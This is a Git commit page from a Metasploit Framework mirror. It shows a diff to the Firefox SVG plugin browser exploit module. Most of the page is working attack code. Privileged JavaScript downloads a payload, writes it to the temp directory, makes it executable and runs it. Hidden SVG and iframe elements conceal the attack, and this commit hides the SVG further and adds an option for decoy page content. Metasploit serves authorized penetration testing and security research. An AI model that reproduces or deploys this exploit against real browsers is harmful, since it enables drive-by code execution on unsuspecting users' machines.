infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Whitespace tweaks and minor bug fix. Wrong payloads still run.

unstable
Joe Vennix 2013-05-15 23:47:04 -05:00
parent f4b6db8c49
commit 178a43a772
1 changed files with 20 additions and 13 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

33
modules/exploits/multi/browser/firefox_svg_plugin.rb
View File

@ -71,8 +71,9 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'Author' => 'Author' =>
[ [
'joev', # metasploit module 'Marius Mlynski', # discovery & bug report
'Marius Mlynski' # discovery & bug report 'joev' # metasploit module
], ],
'References' => 'References' =>
[ [
@ -83,6 +84,12 @@ class Metasploit3 < Msf::Exploit::Remote
], ],
'DisclosureDate' => 'Jan 08 2013' 'DisclosureDate' => 'Jan 08 2013'
)) ))
register_options(
[
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
], Auxiliary::Timed)
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)
@ -105,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote
else else
# send initial HTML page # send initial HTML page
print_status("Sending #{self.name}") print_status("Sending #{self.name}")
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) send_response_html(cli, generate_html)
end end
handler(cli) handler(cli)
end end
@ -153,12 +160,11 @@ class Metasploit3 < Msf::Exploit::Remote
x.send(null); x.send(null);
alert(x.responseText); alert(x.responseText);
var file = Components.classes["@mozilla.org/file/directory_service;1"] var file = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties) .getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile); .get("TmpD", Components.interfaces.nsIFile);
file.append('#{payload_filename}'); file.append('#{payload_filename}');
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]. .createInstance(Components.interfaces.nsIFileOutputStream);
createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0); stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
stream.write(x.responseText, x.responseText.length); stream.write(x.responseText, x.responseText.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream) { if (stream instanceof Components.interfaces.nsISafeOutputStream) {
@ -169,7 +175,7 @@ class Metasploit3 < Msf::Exploit::Remote
#{chmod_code} #{chmod_code}
alert(file.path); alert(file.path);
var process = Components.classes["@mozilla.org/process/util;1"] var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess); .createInstance(Components.interfaces.nsIProcess);
process.init(file); process.init(file);
process.run(false,[],0); process.run(false,[],0);
| |
@ -204,18 +210,18 @@ class Metasploit3 < Msf::Exploit::Remote
:access_string => 'access', :access_string => 'access',
:frame_ref => 'frames[0]', :frame_ref => 'frames[0]',
:frame_name => 'n', :frame_name => 'n',
:loader_path => "#{base_url}.swf" :loader_path => "#{base_url}.swf",
:content => self.datastore['CONTENT'] || ''
} }
%Q| %Q|
<!doctype html> <!doctype html>
<html> <html>
<head> <head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<base href="chrome://browser/content/"> <base href="chrome://browser/content/">
</head> </head>
<body> <body>
<svg> <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
<symbol id="#{vars[:symbol_id]}"> <symbol id="#{vars[:symbol_id]}">
<foreignObject> <foreignObject>
<object></object> <object></object>
@ -250,7 +256,8 @@ class Metasploit3 < Msf::Exploit::Remote
</script> </script>
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px" <iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
name="#{vars[:frame_name]}"></iframe> name="#{vars[:frame_name]}"></iframe>
#{vars[:content]}
</body> </body>
</html> </html>
| |